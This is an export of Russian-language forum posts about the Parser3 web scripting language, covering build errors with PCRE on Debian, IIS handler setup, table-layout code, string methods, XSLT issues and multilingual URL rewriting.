"69369","Поля $object у объекта нет, идёт обращение к GET_DEFAULT, который снова зовёт $object.\
\
Добавлением поля ошибка, естественно, устраняется.\
\
Раскоментированием #$test[] или удалением переводов строк получить ошибку, отличную от «Unhandled exception 0xC00000FD at 0x0046168D», не удалось.\
3.3.0, Vista."
"69370","Природа то понятна, но падать так парсер, по идее не должен, а должен сказать что-нибудь вразумительное.\
\
А если вовсе строку #test[] удалить - пофиг?"
"69371","А оно на свойствах только так и падает, мало что говоря.\
Мы с Олегом в 3.2.4, если мне не изменяет память, хитрую ошибку находили, связанную с установкой полей объекта, тоже адресами ругалась.\
\
Ни удаление её, ни удаление всего тела метода ни к чему не приводит — та же ошибка."
"69372","подобная рекурсия в полях проходит мимо стандартной проверки на зацикливание.\
\
причина проста: раньше (до гетеров/сетеров и default getter-а) просто невозможно было зациклиться таким способом. сейчас возможно, поэтому нужно будет эту защиту добавить. (записал в todo)"
"69377","Выплевывает вот что:\
make[3]: Entering directory `/root/parser-3.3.0/src/targets/cgi'\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../../src/include -I../../classes -I../../types -I../../sql -I../../lib/gc/include -I../../lib/cord/include -I../../lib/md5 -I-I../../../src/lib/ltdl      -g -O2 -MT pa_threads.o -MD -MP -MF \".deps/pa_threads.Tpo\" -c -o pa_threads.o pa_threads.C; \\\
        then mv -f \".deps/pa_threads.Tpo\" \".deps/pa_threads.Po\"; else rm -f \".deps/pa_threads.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../../src/include -I../../classes -I../../types -I../../sql -I../../lib/gc/include -I../../lib/cord/include -I../../lib/md5 -I-I../../../src/lib/ltdl      -g -O2 -MT parser3.o -MD -MP -MF \".deps/parser3.Tpo\" -c -o parser3.o parser3.C; \\\
        then mv -f \".deps/parser3.Tpo\" \".deps/parser3.Po\"; else rm -f \".deps/parser3.Tpo\"; exit 1; fi\
if gcc -DHAVE_CONFIG_H -I. -I. -I../../../src/include -I../../classes -I../../types -I../../sql -I../../lib/gc/include -I../../lib/cord/include -I../../lib/md5 -I-I../../../src/lib/ltdl      -g -O2 -MT getopt.o -MD -MP -MF \".deps/getopt.Tpo\" -c -o getopt.o getopt.c; \\\
        then mv -f \".deps/getopt.Tpo\" \".deps/getopt.Po\"; else rm -f \".deps/getopt.Tpo\"; exit 1; fi\
gcc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -lgc    -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm\
../../main/libmain.a(pa_globals.o): In function `gc_substitute_memory_management_functions':\
/root/parser-3.3.0/src/main/pa_globals.C:308: undefined reference to `pcre_malloc'\
/root/parser-3.3.0/src/main/pa_globals.C:309: undefined reference to `pcre_free'\
../../main/libmain.a(pa_string.o): In function `String::match(Charset&, String const&, String const*, void (*)(Table&, Array<String const*>*, int, int, int, int, void*), void*, int&) const':\
/root/parser-3.3.0/src/main/pa_string.C:505: undefined reference to `pcre_compile'\
/root/parser-3.3.0/src/main/pa_string.C:512: undefined reference to `pcre_info'\
/root/parser-3.3.0/src/main/pa_string.C:537: undefined reference to `pcre_exec'\
/root/parser-3.3.0/src/main/pa_string.C:580: undefined reference to `pcre_free'\
/root/parser-3.3.0/src/main/pa_string.C:540: undefined reference to `pcre_free'\
/root/parser-3.3.0/src/main/pa_string.C:514: undefined reference to `pcre_free'\
/root/parser-3.3.0/src/main/pa_string.C:551: undefined reference to `pcre_free'\
../../main/libmain.a(pa_charset.o): In function `Charset':\
/root/parser-3.3.0/src/main/pa_charset.C:102: undefined reference to `_pcre_default_tables'\
/root/parser-3.3.0/src/main/pa_charset.C:102: undefined reference to `_pcre_default_tables'\
../../classes/libclasses.a(file.o): In function `_list':\
/root/parser-3.3.0/src/classes/file.C:644: undefined reference to `pcre_exec'\
/root/parser-3.3.0/src/classes/file.C:672: undefined reference to `pcre_free'\
/root/parser-3.3.0/src/classes/file.C:626: undefined reference to `pcre_compile'\
/root/parser-3.3.0/src/classes/file.C:644: undefined reference to `pcre_free'\
collect2: ld returned 1 exit status\
make[3]: *** [parser3] Error 1\
make[3]: Leaving directory `/root/parser-3.3.0/src/targets/cgi'\
make[2]: *** [all-recursive] Error 1\
make[2]: Leaving directory `/root/parser-3.3.0/src/targets'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/root/parser-3.3.0/src'\
make: *** [all-recursive] Error 1\
\
Сообственно все необходимые библиотеки были установлены. Что ему не хватает? Исходники парсера взяты из раздела \"скачать\""
"69378","Попробуйте взять версию из CVS. Я помню как-то в архивах из \"скачать\" были какие-то проблемы с PCRE."
"69381","обновился из cvs, стоит pcre 7.7\
ошибка при сборке не пропала.\
как-то несколько разочаровывает первое знакомство :(\
зря только поддался уговорам дизайн-студии, что сайт надо делать на парсере :("
"69383","Нет\
руками"
"69385","buildall-with-xml\
Script author: Alexander Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Building...\
Building parser3...\
Making install in src\
.... SKIPED....\
make[3]: Entering directory `/root/parser3/src/targets/cgi'\
gcc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -lgc    -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm\
../../main/libmain.a(pa_globals.o): In function `gc_substitute_memory_management_functions':\
/root/parser3/src/main/pa_globals.C:308: undefined reference to `pcre_malloc'\
/root/parser3/src/main/pa_globals.C:309: undefined reference to `pcre_free'\
../../main/libmain.a(pa_string.o): In function `String::match(Charset&, String const&, String const*, void (*)(Table&, Array<String const*>*, int, int, int, int, void*), void*, int&) const':\
/root/parser3/src/main/pa_string.C:505: undefined reference to `pcre_compile'\
/root/parser3/src/main/pa_string.C:512: undefined reference to `pcre_info'\
/root/parser3/src/main/pa_string.C:537: undefined reference to `pcre_exec'\
/root/parser3/src/main/pa_string.C:580: undefined reference to `pcre_free'\
/root/parser3/src/main/pa_string.C:540: undefined reference to `pcre_free'\
/root/parser3/src/main/pa_string.C:514: undefined reference to `pcre_free'\
/root/parser3/src/main/pa_string.C:551: undefined reference to `pcre_free'\
../../main/libmain.a(pa_charset.o): In function `Charset':\
/root/parser3/src/main/pa_charset.C:102: undefined reference to `_pcre_default_tables'\
/root/parser3/src/main/pa_charset.C:102: undefined reference to `_pcre_default_tables'\
../../classes/libclasses.a(file.o): In function `_list':\
/root/parser3/src/classes/file.C:653: undefined reference to `pcre_exec'\
/root/parser3/src/classes/file.C:681: undefined reference to `pcre_free'\
/root/parser3/src/classes/file.C:635: undefined reference to `pcre_compile'\
/root/parser3/src/classes/file.C:653: undefined reference to `pcre_free'\
collect2: ld returned 1 exit status\
make[3]: *** [parser3] Error 1\
make[3]: Leaving directory `/root/parser3/src/targets/cgi'\
make[2]: *** [install-recursive] Error 1\
make[2]: Leaving directory `/root/parser3/src/targets'\
make[1]: *** [install-recursive] Error 1\
make[1]: Leaving directory `/root/parser3/src'\
make: *** [install-recursive] Error 1\
DONE\
\
\
\
вот так DONE :(\
\
система Debian 5.0"
"69386","PCRE и GC собрались правильно?\
\
Заодно обратите внимание в документации на структуру каталогов для сборки: http://www.parser.ru/docs/lang/?compilesrc.htm\
\
p.s. А просто бинарник для Линукса ставить не пробовали?"
"69387","У меня на Debian 4.0, архив исходников взят с сайта,\
получается такая команда сборки (без XML):\
\
gcc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -L/home/moko/parser33project/gc/lib -Wl,-Bstatic -lgc -Wl,-Bdynamic /home/moko/parser33project/pcre/lib/libpcre.a   -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm\
\
У вас же и gc похоже системный, а pcre почему-то вообще не видно... Не представляю, почему такое может быть, buildall-without-xml явно собирает со статической pcre:\
\
options=\"$options --with-static-pcre=$project_directory/pcre\
\
Возможно не хватило make distclean перед запуском buildall-without-xml.\
\
А вообще по-моему проще взять бинарники с сайта. :)"
"69389","под debian-5 не хочет работать"
"69392","... но на FreeBSD и OpenSUSE все собирается без проблем.\
\
Я Вам настоятельно рекомендую попробовать уже собранный Парсер с этого сайта, а также внимательно почитать документацию и выполнить все шаги, которые в ней описаны. Ну и внимательно посмотрет на скрипт сборки и информацию, которую он выдает на консоль."
"69393","0:000> !error 0xC00000FD\
Error code: (NTSTATUS) 0xc00000fd (3221225725) - A new guard page for the stack cannot be created."
"69395","если под Debian - попробуйте готовый пакет:\
http://mentors.debian.net/debian/pool/main/p/parser/parser_3.3.0-5.dsc\
\
вот mysql-модуль:\
http://mentors.debian.net/debian/pool/main/p/parser-mysql/parser-mysql_10.0-1.dsc\
\
Все стандартно: dget + debuild\
\
PS: собирается нормально и для oldstable(Etch) без изменений deb-src пакета."
"69396","а что за базу у вас?\
не получается сделать импорт базы в с помощью mysql.exe -u ..."
"69397","Знаю, тема больная, поверхностное изучение темы показало что существует много подводных камней и приколов.\
\
Что удалось найти, самое полное и понятное из теории наверное: \
http://www.rco.ru/technology.asp?ob_no=46\
\
и там же ещё много интересного про опечатки,содержательный портрет текста, упоминания о персонах и организациях, семантическая сеть, поиск и классификация фактов, тональность текста.\
\
Все очень интересно, на основе данной теории можно организовать целый класс который может заниматься проверкой орфографии и осуществлять морфологический контекстный поиск с использованием синонимов и опечаток.\
\
Очень много вопросов, начиная с организации базы, индексов...\
Теоретически базу, синонимы, и тезуарус можно выдернуть из \"ворда\" например\
\
Поделитесь примерами кому не жалко."
"69398","Из открытых можно порекомендовать, например, [url=http://www.dataparksearch.org/]Datapark Search[/url]. Я в свое время подключал его к Парсеру через open-search интерфейс, хотя позвать его через cgi тоже не сложно.\
\
p.s. Правда эта тема, прямо скажем, непосредственно к Парсеру имеет небольшое отношение."
"69399","Оч. интересно, меня интересует, может он делать так:\
\
[quote]...например, при обработке запроса “президент России” слово “президент” действительно стоит искать во всех вариантах, а вот слово “Россия” следует искать только в форме родительного падежа, иначе можно “случайно” найти фрагменты текста типа “К встрече американского президента Россия была ...”.[/quote]"
"69401","с помощью [b]mysql.exe -u ...[/b] никогда не пробовал делать. Пользуюсь либо [b]MySQL Front[/b] либо через [b]PHPAdmin[/b]."
"69402","Приветы\
Искал, но для парсера не нашел - как мне получить данные по ссылке с внешнего сервера?\
пр. новость формируется на внешнем сервере, а я хочу текст новости (новость уже сформирована целиком, с картинками, но без html, body и прочих тегов, т.е. предусматривается что новость будет вставляться в уже готовую страницу)\
на php это делалось просто с помощью текст=file_get_content(ссылка), а как это сделать здесь?\
спасибо"
"69404","Помогите разобраться. По документации, команда ^str.trim[end] должна отсекать один последний символ. На практике получаю вот что:\
\
$Row[123456]\
$Row\
^Row.trim[end]\
^Row.trim[] \
Выводит на экран 123456 123456 123456\
\
То есть, последний символ не отсекается. Подскажите, что делать. Или как еще любым способом убать из строки последние N символов."
"69405","Для Вашей задачи надо использовать другие методы, например такие:\
[code]\
  $n(2)\
  $str[Какая-то строка с лишними символами.?!]\
  ^str.left(^str.length[] - $n)\
[/code]"
"69406","Из документации это свойство операции trim неочевидно, все-таки."
"69407","[quote]Метод отсекает любые буквы из указанного [i]набора[/i] с концов строки. По умолчанию отсекаются [b]white spaces[/b] с начала и конца строки.[/quote]"
"69409","Есть раздел «Примеры».\
http://www.parser.ru/examples/\
\
Есть библиотека PF от Sumo.\
http://code.google.com/p/parser3-pf/\
\
Есть несколько работающих CMS.\
http://code.google.com/p/parser-com-cms/\
http://code.google.com/p/odminko/\
\
Некоторое количество кода можно найти прямо в сообщениях этого форума или если поискать на code.google.com.\
\
Какого-то общего хранилища разных классов (скриптов) — нет."
"69410","Народ, подскажи как такое реализовать?"
"69411","http://www.google.ru/search?q=%D0%B2%D1%8B%D0%BF%D0%B0%D0%B4%D0%B0%D1%8E%D1%89%D0%B5%D0%B5+%D0%BC%D0%B5%D0%BD%D1%8E"
"69412","Доброго времени суток. Заранее извиняюсь что поднимаю старую тему, но захотелось высказать свое мнение. \
Совсем недавно узнал про существование такого интересного средства веб-разработки как Parser и был весьма удивлен тому что по нему нет никакой литературы кроме весьма хорошей документации на официальном сайте.\
По всем более менее популярным языкам программирования существует огромное количество изданных книг и разного рода самоучителей, но попытавшись найти через интернет подобную литературу по Parser был удивлен тем что ее нет вообще. Хотя на мой взгляд Парсер заслуживает особого внимания как гибкое, хорошо масштабируемое, достаточно функциональное и простое в плане освоения средство, которое выгодно использовать при создании большинства сайтов в качестве инструмента для решения широкого спектра возникающих в связи с этим задач. Во всяком случае мне так показалось из того что пока успел узнать. Жаль что узнал о существовании парсера так поздно, в свое время эта информация вероятно могла бы помочь сэкономить значительное количество времени. \
Ранее изучал php и немного меньше другие языки программирования, и всегда приобретал литературу в \"бумажном\" варианте, так как мне кажется она на порядок удобнее для освоения. Уверен множество людей считает аналогично моему мнению и наверняка с удовольствием заказало бы обучающую литературу по Parser если бы таковая была. \
Когда книга лежит рядом с монитором это всегда некое побуждение к тому чтобы начать изучение чего-либо, а с онлайн-документацией ситуация обстоит на порядок менее позитивно. В любом случае когда есть свободная минутка и взгляд падает на книгу вероятность что она будет открыта и продолжится обучение будет на порядок выше чем если этой книги нет. О том чтобы зайти на страницу парсера и зайти в документацию в свободное время как-то не задумываешься. Хотя в моем случае парсер скорее эксперимент, поэтому нет серьезных стремлений к изучению, но тем не менее считаю что наличие подобной литературы - всегда плюс. \
Идея книги по созданию проекта на парсере показалась интересной. Чем все закончилось?"
"69414","есть у меня код как разбить <table> на две колонки и более.\
но он выглядит так, направление идет слева направо\
[code]\
-------------\
|  1  |  2  |\
-------------\
|  3  |  4  |\
-------------[/code]\
\
вот код\
[code]$menu[^table::sql{select name, uri from site_menu}]\
^for[i](1;^menu.count[]){}\
<table border=0 width=100% cellspacing=\"4\" cellpadding=\"0\">\
<tr>\
^menu.menu{\
<td width=290 bgcolor=eeeeee>\
<a href=\"$menu.uri\"><li>$menu.name<a>\
</td>\
^if(^menu.line[]%2 == 0){</tr>}\
}\
</table>[/code]\
\
 \
\
а как сделать так ?\
чтобы напрравление шло сверху вниз..\
\
[code]\
-------------\
|  1  |  3  |\
-------------\
|  2  |  4  |\
-------------[/code]"
"69415","[code]^for[i](1;^menu.count[]){}[/code]\
Что это?\
\
[code]<table border=0 width=100% cellspacing=\"4\" cellpadding=\"0\">\
<tr>\
^menu.menu{\
<td width=290 bgcolor=eeeeee>\
<a href=\"$menu.uri\"><li>$menu.name<a>\
</td>\
^if(^menu.line[]%2 == 0){</tr>}\
}\
</table>[/code]\
Вас не смущает, что вы теги не закрываете (<li>) или не открываете (<tr>)?\
\
[quote]а как сделать так ?\
чтобы напрравление шло сверху вниз..[/quote]\
\
Сделать так, как вы хотите, можно.\
Ключевые слова: [code]^table:line[][/code] и [code]^table:offset()[/code]\
\
Но, не проще ли, отсортировать записи, как вам необходимо, силами БД? Добавьте в вашу таблицу поле sort_order и сортируйте по нему в запросе. \
Ключевое слово: [code]ORDER BY[/code]"
"69417","[code]^for[i](1;^menu.count[]){}[/code]\
это лишнее.. случайно попало и не относиться к примеру ))"
"69418","dpkg-genchanges\
dpkg-genchanges: not including original source code in upload\
dpkg-buildpackage (debuild emulation): binary and diff upload (original source NOT included)\
Now signing changes and any dsc files...\
 signfile parser_3.3.0-5.dsc Sergey B Kirpichev <skirpichev@gmail.com>\
gpg: skipped \"Sergey B Kirpichev <skirpichev@gmail.com>\": secret key not available\
gpg: [stdin]: clearsign failed: secret key not available\
debsign: gpg error occurred!  Aborting....\
debuild: fatal error at line 1155:\
running debsign failed\
\
\
Что за secret key?"
"69419","В логе теперь вот что пишет:\
\
[Tue Apr 07 13:27:08 2009] [error] [client 91.x.x.2] /favicon.ico: /var/www/mydomain/data/www/auto.p(56:2): '/usr/lib/parser3/libparser3mysql.so' driver failed to initialize client library 'unspecifed', client library column is empty [<no type>], referer: http://mydomain/"
"69421","http://mentors.debian.net/debian/pool/main/p/parser-mysql/parser-mysql_10.0-1.dsc"
"69423","[code]$table[^table::create{a	b	c\
1	2	3\
4	5	6\
}]\
$tCols[^table.columns[]]\
$iCount(^table.count[])\
\
<table>\
^table.menu{\
	<tr>\
		^tCols.menu{<td>$table.[$tCols.column]</td>}\
	</tr>\
}\
</table>\
# результат:\
# 1  2  3\
# 4  5  6\
\
# транспонируем таблицу, теперь она nameless и количество строк \
# равно количеству столбцов до транспонирования и наоборот\
$table[^table.flip[]]\
<table>\
	^table.menu{\
		<tr>\
			^for[i](0;$iCount){<td>$table.$i</td>}\
		</tr>\
	}\
</table>\
# результат:\
# 1  4\
# 2  5\
# 3  6\
[/code]"
"69424","Добрый вечер.\
проблема следующая\
есть сервер винда 2003 на ней есть иис сайт и парсер\
но при добавлении парсера как обработчика html страниц сайт на http://localhost перестает грузиться,стоит только убрать парсер из обработчика всё работает но выдает на главной странице строку ^useASP[Default_new.asp] а на месте этой строки должно быть другое...таккак раньше сайт робил до того как пришлось снести ос и настраивать всё заново..я так понимаю что эта строка должна обрабатываться парсером но он по всей видимости почему то не стартует плюс не пишет логи из чего ещё раз следует что он почему то не стартует...\
подскажите как заставить его работать???"
"69425","[quote]сайт на http://localhost перестает грузиться[/quote]\
\
поконкретнее пожалуйста, какая именно ошибка при этом возникает? \
что-то при этом в логах [b]сервера[/b](не только парсера) появляется?"
"69426","дак просто парсер не работает он даже логи свои то не пишет из этого только можно сделать вывод что он не работает...может там что то с правами доступа нтфс надо сделать?\
пишет  the page cannot be found пишет когда парсер назначен обработчиком html страниц\
как только его убираю сразу всё работает\
а вот лог исс\
#Software: Microsoft Internet Information Services 6.0\
#Version: 1.0\
#Date: 2009-04-07 14:33:50\
#Fields: date time s-sitename s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) sc-status sc-substatus sc-win32-status \
2009-04-07 14:33:50 W3SVC1 127.0.0.1 GET /index.html - 80 - 127.0.0.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.648;+.NET+CLR+3.5.21022;+InfoPath.1) 200 0 0\
2009-04-07 14:33:50 W3SVC1 127.0.0.1 GET /img/header.gif - 80 - 127.0.0.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.648;+.NET+CLR+3.5.21022;+InfoPath.1) 200 0 0\
2009-04-07 14:33:50 W3SVC1 127.0.0.1 GET /img/key1.gif - 80 - 127.0.0.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.648;+.NET+CLR+3.5.21022;+InfoPath.1) 200 0 0\
#Software: Microsoft Internet Information Services 6.0\
#Version: 1.0\
#Date: 2009-04-07 14:34:24\
#Fields: date time s-sitename s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) sc-status sc-substatus sc-win32-status \
2009-04-07 14:34:24 W3SVC1 127.0.0.1 GET /index.html - 80 - 127.0.0.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.648;+.NET+CLR+3.5.21022;+InfoPath.1) 404 2 0\
2009-04-07 14:34:25 W3SVC1 127.0.0.1 GET /index.html - 80 - 127.0.0.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.648;+.NET+CLR+3.5.21022;+InfoPath.1) 404 2 0\
2009-04-07 14:34:26 W3SVC1 127.0.0.1 GET /index.html - 80 - 127.0.0.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.648;+.NET+CLR+3.5.21022;+InfoPath.1) 404 2 0"
"69427","Народ, спасибо!\
Нашёл в поисковике вашу тему - мне очень помогло"
"69429","здесь как бы получаться то и нето,\
\
у меня же получаеться таблица из двух колонок.\
$table.name и $table.uri\
\
если ее просто транспонировать, то это не то получаеться.. здесь же уменя  \"$table.name и $table.uri\" это одна строчка и ее нужно вывести в столбик, и этот столбик поделить на два.. но в направлении сверху вниз.\
\
буду дальше думать"
"69430","Наткнулся на интересную фичу (багу, особенность, не знаю). В методе @unhandled_exception нельзя получить через $caller значения переменных из того места, где этот exception случился.\
\
Т.е. на примере кода, когда мы вызываем какой-нибудь метод явно:\
[code]\
@main[][x]\
$x[test_x]\
^method[]\
\
@method[][x]\
^$caller.x in @method: $caller.x\
\
# результат:\
# $caller.x in @method: [b]test_x[/b]\
[/code]\
\
А вот так - облом:\
[code]\
@main[][x]\
$x[test_x]\
\
^throw[Caller test;;]\
\
@unhandled_exception[e;s]\
^$caller.x in @unhandled_exception: $caller.x <br />\
\
# результат:\
# $caller.x in @unhandled_exception:\
[/code]\
\
Как то можно из узнать то, что хочется или это принципиально невозможно?\
\
Нужно это для элементарной вещи - отладки, при падении в @ue берется значение заведомо известной переменной(ых) и их состояние кладется в лог. Просто взять переменную нельзя, так как она не всегда глобальная, может быть как локально объявленной, так и быть передаваемым параметром."
"69431","Я честно говоря запутался в том, чего вы хотите ;)\
Привели бы чтоли реальный пример с данными"
"69432","[code]$menu[^table::sql{select name, uri from site_menu}]\
<table border=0 width=100% cellspacing=\"4\" cellpadding=\"0\">\
^menu.menu{\
<td width=290 bgcolor=eeeeee>\
<a href=\"$menu.uri\"><li>$menu.name<a>\
</td>\
^if(^menu.line[]%2 == 0){<tr></tr>}\
}\
</table>\
\
# результат того что получилось\
|-----------|----------|\
| Ссылка 1  | Ссылка 2 |\
|-----------|----------|\
| Ссылка 3  | Ссылка 4 |\
|-----------|----------|\
| Ссылка 5  | Ссылка 6 |\
|-----------|----------|\
|     .     |     .    |\
|-----------|----------|\
|     .     |     .    |\
|-----------|----------|\
| Ссылка 19 | Ссылка 20|\
|-----------|----------|\
\
\
#а нужено чтобы было так\
|-----------|----------|\
| Ссылка 1  | Ссылка 11|\
|-----------|----------|\
| Ссылка 2  | Ссылка 12|\
|-----------|----------|\
| Ссылка 3  | Ссылка 13|\
|-----------|----------|\
|     .     |     .    |\
|-----------|----------|\
|     .     |     .    |\
|-----------|----------|\
| Ссылка 10 | Ссылка 20|\
|-----------|----------|\
[/code]"
"69433","Записи типа <xsl:param... не обрабатываются парсером, я не специалист в XSLT но все же интересен этот вопрос, это связано с изменением xml библиотек в последних сборках парсера, такая запись устарела ?\
\
Вопрос этот связан с постом http://www.parser.ru/forum/?id=69335\
\
где предлагается попробовать новую версию CMS COM. \
Собственно она и не работает на parser 3.3.0\
\
[code]runtime error: file Z:///home/com.local/www/xsl/mod/gallery.xsl line 97 element param\
Unexpected XSLT element 'param'.[/code]\
\
К сожалению автор CMS недоступен, поэтому спрашиваю тут, может кто то тоже смотрел."
"69435","Ну как вариант, разбить исходную таблицу пополам на другие таблицы, а потом в цикле отрисовать:\
\
[code]\
<table>\
  ^for[i](0;^math:ceiling($iCount/2)){\
    <tr>\
      <td>$t1.name</td><td>$t2.name</td>\
    </tr>\
    ^t1.offset(1)\
    ^t2.offset(1)\
  }\
</table>\
[/code]\
\
как то примерно так... хотя мне это не очень нравится"
"69437","document.forms['t'].street.value"
"69438","Сверстать-то я его могу... Как прописать на Парсере?"
"69440","Документация к CMS писалась (и будет писаться) с расчетом на неподготовленных пользователей (проще говоря, секретарш), т.к. сайты обычно сопровождают сотрудники заказчика.\
\
Если на ваш взгляд что-то непонятно или запутанно - буду раз замечаниям.\
\
Также буду рад комментариям к самой системе.\
\
Обновлять ее, к сожалению, смогу не часто, т.к. в одно лицо делать все (и обновлять документацию) пока мне сложно. Однако, проект в любом случае буду развивать, т.к. использую его в работе.\
\
Если копаться в исходниках можно обнаружить много \"хвостов\" неиспользуемых/недоработанных функций. Все будет правиться по мере возможности, т.к. хоть модулей и не много, все их приходиться править параллельно."
"69441","сайт написан на asp и на html\
стоит всё на IIS 6.0\
При добавлении парсера в обработчики html страниц сайт пишет что отсутсвуют права доступа,нет разрешения и т.д.\
стоит только его отключить сайт грузиться...но не все страницы,так как некоторые привязаны к html которые должен обрабатывать парсер...сайт писал не я поэтому более точно ничего не могу сказать...права доступа на сайт стоят как анонимное подключение iusr_compname\
подскажите может где то какие то службы надо включить? в расширении веб служб везде стоит разрешить и на обработку cgi и isapi\
может какие то права нтфс надо куда то назначить ???"
"69445","Обнаружил следующее в уроке 2:\
\
@main[]\
^header[]\
^body[]\
^footer[]\
\
Объявленный в auto.p в начале и...\
\
^main[]\
\
..вписанный в index.html вместо ^navigation[] при запуске не работает... \
\
 почесав репу, поменял  ^(@)main[] на ^(@)myn[] и все заработало... \
\
 только вот все ни как не могу разобраться с @greeting[]\
\
Как же все таки сделать его уникальным для каждой страницы, а если по примеру то  специально для news, contact, gbook?\
\
для справки, хостинг на hc.ru\
все тестю  здесь:\
http://myparser.minibar-art.ru/news/\
\
правда кодировка слетает.."
"69447","По второму ничего не могу подсказать."
"69448","Все, нашел ошибки. как я написал смена @(^)main на @(^)myn работает, но бессмыслено.\
еще немного поковырявшись, понял что и куда добавлять.\
вот auto.p :\
[code]@main[]\
^header[]\
^body[]\
^footer[]\
\
@header[]\
<html>\
<head>\
<title>Test SERVER Parser3</title>\
</head>\
<body bgcolor=\"#FAEBD7\">\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
   <tr  bgcolor=\"#FFFFFF\" height=\"60\">\
      <td align=\"center\">\
         <font size=\"+2\"><b>^greeting[]</b></font>\
      </td>\
   </tr>\
</table>\
<br />\
\
@navigation[]\
$sections[^table::load[/sections.cfg]]\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
   <tr  bgcolor=\"#FFFFFF\">\
   ^sections.menu{\
      ^navigation_cell[]\
   }\
   </tr>\
</table>\
<br />\
\
@navigation_cell[]\
$cell_width[^eval(100\\$sections)%]\
^if($sections.uri eq $request:uri){\
   <td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\"> \
   <nobr>$sections.name</nobr>\
   </td>\
}{\
   <td width=\"$cell_width\" align=\"center\"> \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
   </td>\
}\
\
@footer[]\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\">\
   <tr>\
      <td></td>\
   </tr>\
</table>\
$now[^date::now[]]\
<font size=\"-3\">\
<center>Powered by Parser3<br />1997-$now.year</center>\
</font>\
</body>\
</html>\
\
@body[]\
^navigation[]\
<table width=\"100%\" height=\"65%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
   <tr  bgcolor=\"#ffffff\" height=\"100%\">\
      <td width=\"30%\" valign=\"top\" bgcolor=\"#EFEFEF\">\
         <b>^body_additional[]</b>\
      </td>\
      <td width=\"70%\" valign=\"top\">\
        ^body_main[] \
      </td>\
   </tr>\
</table>\
<br />\
[/code]\
\
а вот код index.html который находится в корне каталога:\
[code]@greeting[]\
glavnaya\
@body_additional[]\
Glavnaya srtanica site\
@body_main[]\
Ocnovnoe sodekanie[/code]\
а вот в index.html который в папке /news\
[code]@greeting[]\
News\
@body_additional[]\
Glavnaya srtanica NEWs\
@body_main[]\
Ocnovnoe sodekanie NEWS[/code]\
\
и все работает. только не забыть в остальных каталогах сайта добавить аналогичное содержание( например \"&nsp\"."
"69450","/index.html: C:/Inetpub/wwwroot/auto.p(6:14): '400' invalid HTTP response status [http.status]\
что это значит?"
"69452","А вообще в [url=\"http://www.parser.ru/docs/lang/?parserexceptions.htm\"]доке[/url] есть описание всех системных ошибок."
"69455","Пытаюсь придумать как будет работать мультиязычный сайт. \
Т.е. несколько зеркальных версий. Нужно как-то передавать переменную с языком. \
Нашел интересный вариант от Миши. Rewrite такой. \
RewriteEngine On\
RewriteCond %{REQUEST_URI} ^/([a-z]{2})/\
RewriteRule ^([a-z]{2})/(.*)	 /$2?lang=$1 [L,QSA]\
\
И все вобщем замечательно получается. Скрипту передается 2 буквы в переменную $lang. Если ничего не передается - язык дефолтный. \
\
Но никак не могу понять, что с этим делать дальше. \
Как оставаться внутри одной языковой версии при внутренних переходах. Внешними ссылкам не красиво. Но если внутренними, то надо передавать переменную.. и теряется смысл в рерайте $lang=ru  в /ru/\
Скорее всего туплю и решение очевидно. Но прошу подсказать."
"69456","Например так:\
\
[code]\
<a href=\"/$form:lang/$link\">...</a>\
[/code]"
"69457","да, можно, но тогда придется все пути от корня писать. Может быть неудобно дюже."
"69458","Здравствуйте.\
\
у меня такой вопрос:\
\
